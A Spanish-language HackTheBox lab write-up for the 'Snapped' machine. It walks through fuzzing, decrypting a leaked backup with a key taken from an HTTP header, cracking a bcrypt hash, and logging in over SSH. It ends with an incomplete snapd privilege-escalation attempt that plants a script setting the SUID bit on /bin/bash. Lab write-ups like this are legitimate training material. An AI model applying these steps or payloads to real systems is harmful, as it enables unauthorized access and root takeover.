Post

HTB Snapped

HTB Snapped

Descripción

Snapped es una máquina linux hard de HackTheBox

Enumeración

NMAP - Descubrimiento de Servicios

Miramos cabeceras

1
2
[Mar 25, 2026 - 18:16:15 (-04)] exegol-htb Snapped # curl -s -I 10.129.11.204 | grep Location
Location: http://snapped.htb/

Lo añadimos al /etc/hosts

1
echo '10.129.11.204 snapped.htb' | tee -a /etc/hosts

SI miramos la web en el navegador

Web

No encontramos nada importante, podemos buscar subdominios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[Mar 25, 2026 - 16:41:23 (-04)] exegol-htb Snapped # ffuf -c -w `fzf-wordlists` -u "http://snapped.htb" -H 'HOST: FUZZ.snapped.htb' -ac -c -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://snapped.htb
 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.snapped.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 350ms]
:: Progress: [100000/100000] :: Job [1/1] :: 603 req/sec :: Duration: [0:02:29] :: Errors: 0 ::

Encontramosn el subdominio admin , lo añadimos al etc hosts

1
echo '10.129.11.204 admin.snapped.htb' | tee -a /etc/hosts

Subdominio admin

Podemos enumerar directorios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Mar 25, 2026 - 18:24:39 (-04)] exegol-htb Snapped # dirsearch -u "http://admin.snapped.htb/" -t 180                              

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 180 | Wordlist size: 12293

Target: http://admin.snapped.htb/

[18:24:45] Scanning: 
[18:24:55] 403 -    34B - /api/config
[18:24:55] 301 -     0B - /assets  ->  assets/
[18:24:55] 404 -   13KB - /assets/
[18:24:59] 200 -   66KB - /favicon.ico
[18:25:00] 301 -     0B - /index.html  ->  ./
[18:25:01] 200 -    1KB - /manifest.json
CTRL+C detected: Pausing threads, please wait...
[q]uit / [c]ontinue: q
[s]ave / [q]uit without saving: q

Canceled by the user

Veos que existe un /api, podemos fuzzear a fondo para buscar endpoints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[Mar 25, 2026 - 17:14:57 (-04)] exegol-htb Snapped # ffuf -c -w `fzf-wordlists` -u "http://admin.snapped.htb/api/FUZZ"  -ac -mc 200 -t 180 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://admin.snapped.htb/api/FUZZ
 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 180
 :: Matcher          : Response status: 200
________________________________________________

install                 [Status: 200, Size: 29, Words: 1, Lines: 1, Duration: 140ms]
backup                  [Status: 200, Size: 18306, Words: 74, Lines: 72, Duration: 180ms]
licenses                [Status: 200, Size: 52782, Words: 9, Lines: 1, Duration: 157ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

EL endpoint backup es bastante curioso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[Mar 25, 2026 - 18:29:43 (-04)] exegol-htb Snapped # curl -s -X GET -I http://admin.snapped.htb/api/backup
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 25 Mar 2026 22:29:44 GMT
Content-Type: application/zip
Content-Length: 18306
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: must-revalidate
Content-Description: File Transfer
Content-Disposition: attachment; filename=backup-20260325-182944.zip
Content-Transfer-Encoding: binary
Expires: 0
Last-Modified: Wed, 25 Mar 2026 22:29:44 GMT
Pragma: public
Request-Id: c9d4cdc2-bed9-4897-bfb6-7fe925f866b0
X-Backup-Security: OE+oYuNw7Nsfsb5PJdr5kF+GyHTZfvBNOaSIVYGw46k=:xKdlTL8BP0oU2MVK0UjACw==

Lo descargamos

1
2
3
4
[Mar 25, 2026 - 18:31:39 (-04)] exegol-htb Snapped # curl -sOJ http://admin.snapped.htb/api/backup
[Mar 25, 2026 - 18:31:44 (-04)] exegol-htb Snapped # ls
backup-20260325-183136.zip
[Mar 25, 2026 - 18:31:47 (-04)] exegol-htb Snapped #

Si lo descomprimimos veremos esto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Mar 25, 2026 - 18:36:10 (-04)] exegol-htb ZIP # tree
.
├── hash_info.txt
├── nginx-ui.zip
└── nginx.zip

1 directory, 3 files
[Mar 25, 2026 - 18:36:12 (-04)] exegol-htb ZIP # file nginx-ui.zip 
nginx-ui.zip: data
[Mar 25, 2026 - 18:36:17 (-04)] exegol-htb ZIP # file nginx.zip 
nginx.zip: data
[Mar 25, 2026 - 18:36:22 (-04)] exegol-htb ZIP # cat hash_info.txt 
���*E<5B����X:�,*� n�|�-��iNp���:�<���?Z�d�h��0W���T�Y�W&q4E�K�i'G�����	n����3zE½d�&4�?ڛ޼���v����b��=�L�!=L+\�8�#|�IУ�:b`��O�O�㠮�����X�Dt
�y���_P4�x�w6�X���!�������h��b�A�}#                                                                                                                                                                                                      [Mar 25, 2026 - 18:36:25 (-04)] exegol-htb ZIP # 

Si miramos detalladaemnte el header HTTP tenía esto:

1
X-Backup-Security: OE+oYuNw7Nsfsb5PJdr5kF+GyHTZfvBNOaSIVYGw46k=:xKdlTL8BP0oU2MVK0UjACw==

Eso es MUY sospechoso:

  • parece key:iv o hash:salt

Es muy importante descargar nuevamente el ZIP y capturar el header para asu poder descifrarlo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[Mar 25, 2026 - 18:55:29 (-04)] exegol-htb Snapped # curl -vsOJ http://admin.snapped.htb/api/backup
*   Trying 10.129.11.204:80...
* Connected to admin.snapped.htb (10.129.11.204) port 80 (#0)
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 25 Mar 2026 22:55:22 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260325-185522.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Wed, 25 Mar 2026 22:55:22 GMT
< Pragma: public
< Request-Id: a2763418-3433-4eaf-a335-0d2a05b9bc65
< X-Backup-Security: DV0BtIyoiNHjUAuQI39IxkUwsAPlsA8g5lifELW34pU=:f1+md05Vk7akBCrQ9iliBw==
< 
{ [2094 bytes data]
* Connection #0 to host admin.snapped.htb left intact

Desciframos la key

1
2
3
4
[Mar 25, 2026 - 18:55:30 (-04)] exegol-htb Snapped # echo 'DV0BtIyoiNHjUAuQI39IxkUwsAPlsA8g5lifELW34pU=' | base64 -d | xxd -p
0d5d01b48ca888d1e3500b90237f48c64530b003e5b00f20e6589f10b5b7
e295
[Mar 25, 2026 - 18:55:42 (-04)] exegol-htb Snapped #

Desciframos el IV

1
2
3
[Mar 25, 2026 - 18:55:59 (-04)] exegol-htb Snapped # echo 'f1+md05Vk7akBCrQ9iliBw==' | base64 -d | xxd -p 
7f5fa6774e5593b6a4042ad0f6296207
[Mar 25, 2026 - 18:56:03 (-04)] exegol-htb Snapped # 

Ahora podemos descifrar el archivo zip

1
2
export KEY=0d5d01b48ca888d1e3500b90237f48c64530b003e5b00f20e6589f10b5b7e295
export IV=7f5fa6774e5593b6a4042ad0f6296207
1
openssl enc -d -aes-256-cbc -in nginx-ui.zip -out nginx-ui.dec.zip -K "$KEY" -iv "$IV"

Verificamos

1
2
3
[Mar 25, 2026 - 19:14:02 (-04)] exegol-htb ZIP # file nginx-ui.dec.zip
nginx-ui.dec.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
[Mar 25, 2026 - 19:14:07 (-04)] exegol-htb ZIP #

Descomprimimos el ZIP

1
2
3
4
5
[Mar 25, 2026 - 19:14:07 (-04)] exegol-htb ZIP # unzip -o nginx-ui.dec.zip -d nginx-ui.dec
Archive:  nginx-ui.dec.zip
  inflating: nginx-ui.dec/app.ini    
  inflating: nginx-ui.dec/database.db  
[Mar 25, 2026 - 19:14:09 (-04)] exegol-htb ZIP #

Vemos un archivo de base de datos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[Mar 25, 2026 - 19:23:16 (-04)] exegol-htb nginx-ui.dec # ls                 
app.ini  database.db  hash.txt
[Mar 25, 2026 - 19:23:16 (-04)] exegol-htb nginx-ui.dec # sqlite3 database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
acme_users         configs            namespaces         sites            
auth_tokens        dns_credentials    nginx_log_indices  streams          
auto_backups       dns_domains        nodes              upstream_configs 
ban_ips            external_notifies  notifications      users            
certs              llm_sessions       passkeys         
config_backups     migrations         site_configs     
sqlite> select * from users;
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1|

2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1|
sqlite> 

Nos guardamos el hash

1
2
3
[Mar 25, 2026 - 19:24:52 (-04)] exegol-htb nginx-ui.dec # cat  hash.txt
jonathan:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
[Mar 25, 2026 - 19:24:55 (-04)] exegol-htb nginx-ui.dec #

Lo rompemos

1
2
3
4
5
6
7
8
9
10
11
[Mar 25, 2026 - 19:24:55 (-04)] exegol-htb nginx-ui.dec # john --wordlist=`fzf-wordlists` hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] truncated (property of the hash)
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
linkinpark       (jonathan)     
1g 0:00:00:04 DONE (2026-03-25 19:25) 0.2088g/s 105.2p/s 105.2c/s 105.2C/s 12345678910..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nos conectamos via SSH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[Mar 25, 2026 - 19:27:46 (-04)] exegol-htb nginx-ui.dec # sshpass -p "linkinpark" ssh -oStrictHostKeyChecking=no jonathan@snapped.htb
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Fri Mar 20 12:27:50 2026 from 10.10.14.5
jonathan@snapped:~$ 

Leemos la flag

1
2
3
4
jonathan@snapped:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  user.txt  Videos
jonathan@snapped:~$ cat user.txt
c2c4820fb91a646c12af4226358e87e8

Priv Esc

Teniendo en cuenta el nombre de la máquina Snapped posiblemente vaya por versiones de snapd

1
2
3
4
5
6
7
jonathan@snapped:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
jonathan@snapped:~$ 

Vemos que la versión de snapd es la 2.63.1+24.04, encontramos este CVE-2026-3888.

Nos creamos la estructura maliciosa antes de que snap-confine la use.

Payload: script que se ejecutará como root

1
2
3
4
5
6
jonathan@snapped:~$ cat > /tmp/pwn.sh << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
jonathan@snapped:~$ chmod +x /tmp/pwn.sh
jonathan@snapped:~$ 

Montar/colocar el payload en la ruta que snap-confine usará La idea: cuando snap-confine bind-monta /tmp/.snap, ejecuta tu contenido

1
2
jonathan@snapped:~$ cp /tmp/pwn.sh /tmp/.snap/tmp/
jonathan@snapped:~$ 

Lanzamos cualquier snap app para que snap-confine inicialice el sandbox y haga bind-mount de /tmp/.snap con privilegios root

1
snap run <cualquier-snap-instalado> &

listamos paquetes snap

1
2
3
4
5
6
7
8
9
10
11
12
jonathan@snapped:~$ snap list
Name                       Version          Rev    Tracking         Publisher   Notes
bare                       1.0              5      latest/stable    canonical✓  base
core22                     20240731         1564   latest/stable    canonical✓  base
firefox                    129.0.2-1        4793   latest/stable/…  mozilla✓    -
firmware-updater           0+git.5007558    127    1/stable/…       canonical✓  -
gnome-42-2204              0+git.510a601    176    latest/stable/…  canonical✓  -
gtk-common-themes          0.1-81-g442e511  1535   latest/stable/…  canonical✓  -
snap-store                 0+git.e3dd562    1173   2/stable/…       canonical✓  -
snapd                      2.63             21759  latest/stable    canonical✓  snapd
snapd-desktop-integration  0.9              178    latest/stable/…  canonical✓  -
jonathan@snapped:~$ 
This post is licensed under CC BY 4.0 by the author.